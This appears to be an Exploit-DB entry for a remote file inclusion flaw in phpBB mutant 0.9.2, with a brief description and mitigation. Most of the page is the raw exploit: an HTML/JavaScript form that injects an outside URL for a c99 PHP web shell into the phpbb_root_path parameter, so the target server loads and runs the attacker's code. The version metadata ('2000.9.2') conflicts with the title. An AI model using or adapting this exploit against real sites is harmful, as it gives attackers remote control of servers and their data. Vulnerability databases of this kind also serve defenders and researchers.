phpBB mutant 0.9.2 (phpbb_root_path) Remote File Inclusion Exploit

vendor:

phpBB mutant

by:

bd0rk

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: phpBB mutant

Affected Version From: 2000.9.2

Affected Version To: 2000.9.2

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

phpBB mutant 0.9.2 (phpbb_root_path) Remote File Inclusion Exploit

This exploit targets a vulnerability in phpBB mutant 0.9.2 where the 'phpbb_root_path' variable is not properly declared before inclusion, allowing remote files to be included. By exploiting this vulnerability, an attacker can execute arbitrary remote code.

Mitigation:

The vendor should release a patch that properly declares the 'phpbb_root_path' variable before inclusion. Additionally, it is recommended to keep the software up to date and apply any available security patches.

Source

Exploit-DB raw data:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>phpBB mutant 0.9.2 (phpbb_root_path) Remote File Inclusion Exploit</title>

<script language="JavaScript">

//'Bug found and Exploit coded by bd0rk
//'Vendor: http://ie.archive.ubuntu.com/sourceforge/p/ph/phpbb22-mutant/mutant-0_9_2.tar.gz
//'Contact: bd0rk[at]hackermail.com

//'Vulnerable Code: include_once($phpbb_root_path . 'includes/message_parser.'.$phpEx);
//'$phpbb_root_path is not declared before include
//'Greetings: str0ke, TheJT, rgod, Perle

//#The german Hacker bd0rk

var dir="/mutant_includes/"
var file="/mutant_functions.php?"
var parameter ="phpbb_root_path="
var shell="http://dot.hazard.free.fr/hacking/exploits/Backdoor/c99shell.txt?"

function command() {
if (document.rfi.target1.value==""){
alert("Exploit failed...");
return false;
}

rfi.action= document.rfi.target1.value+dir+file+parameter+shell;
rfi.submit();
}
</script>
</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">phpBB mutant 0.9.2 (phpbb_root_path) Remote File Inclusion Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[directory]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Start" name="B1"><input type="reset" value="Delete" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">bd0rk</font></b></p>
</center>
</body>

</html>

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